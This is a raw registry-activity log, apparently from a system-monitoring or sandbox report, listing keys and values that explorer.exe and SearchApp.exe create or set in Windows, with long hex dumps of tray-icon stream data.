00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000075ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e90703000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000081ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e90703000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000082ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e90703000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000083ae2078e323294282c1e41cb67d5b9c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 explorer.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search\Total = "23" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "133864579391039906" explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-780313508-644878201-565826771-1000\{8FE8E6EA-9DF3-4276-8889-4716FB23B32F} explorer.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search\ = "56" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search\Total = "56" SearchApp.exe Set value (data) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search\ = "23" SearchApp.exe Set value (data) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\PastIconsStream = 1400000005000000010001002b00000014000000494c20062b0030005c0010001000ffffffff2110ffffffffffffffff424d360000000000000036000000280000001000000000030000010020000000000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf3030303000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040404040a0a0a0a0f0f0f0f0ffffffff9f9f9f9f0000000090909090ffffffffffffffffffffffff9090909000000000000000000000000010101010b0b0b0b0f0f0f0f0b8b8b8b8f3f3f3f32f2f2f2f0303030390909090f0f0f0f07070707030303030a6a6a6a6f9f9f9f9909090900000000010101010d0d0d0d0b0b0b0b01f1f1f1ff0f0f0f0404040400000000000000000ffffffff707070700000000060606060ffffffffa6a6a6a6ffffffff00000000b0b0b0b0b0b0b0b00000000060606060d0d0d0d0000000000000000000000000ffffffff3030303060606060ffffffff6060606040404040ffffffff40404040f0f0f0f01010101000000000a0a0a0a070707070000000000000000000000000ffffffff9c9c9c9cffffffff606060600000000070707070ffffffffb8b8b8b8fffffffffffffffffffffffffffffffffffffffffffffffffbfbfbfb0f0f0f0f90909090f9f9f9f9a6a6a6a64040404070707070f0f0f0f090909090e0e0e0e0303030300000000000000000ffffffff101010100000000000000000000000000000000090909090ffffffffffffffffffffffff9090909000000000ffffffff000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000009f9f9f9fffffffff000000000000000000000000ffffffff000000000000000000000000000000000000000000000000efefefef000000000000000000000000ffffffffe0e0e0e0303030300000000000000000ffffffff101010100000000000000000000000000000000010101010ffffffff000000000000000030303030e0e0e0e0b8b8b8b8ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb8b8b8b840404040f0f0f0f01010101000000000a0a0a0a0707070700000000000000000000000000000000070707070a0a0a0a00000000010101010f0f0f0f04040404000000000b0b0b0b0b0b0b0b00000000060606060d0d0d0d000000000000000000000000000000000d0d0d0d06060606000000000b0b0b0b0b0b0b0b0000000000000000010101010d0d0d0d0b0b0b0b01f1f1f1ff0f0f0f040404040000000000000000040404040f0f0f0f01f1f1f1fb0b0b0b0d0d0d0d01010101000000000000000000000000010101010b0b0b0b0f0f0f0f0b8b8b8b8f3f3f3f33030303030303030f3f3f3f3b8b8b8b8f0f0f0f0b0b0b0b01010101000000000000000000000000000000000000000000000000040404040a0a0a0a0f0f0f0f0fffffffffffffffff0f0f0f0a0a0a0a040404040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000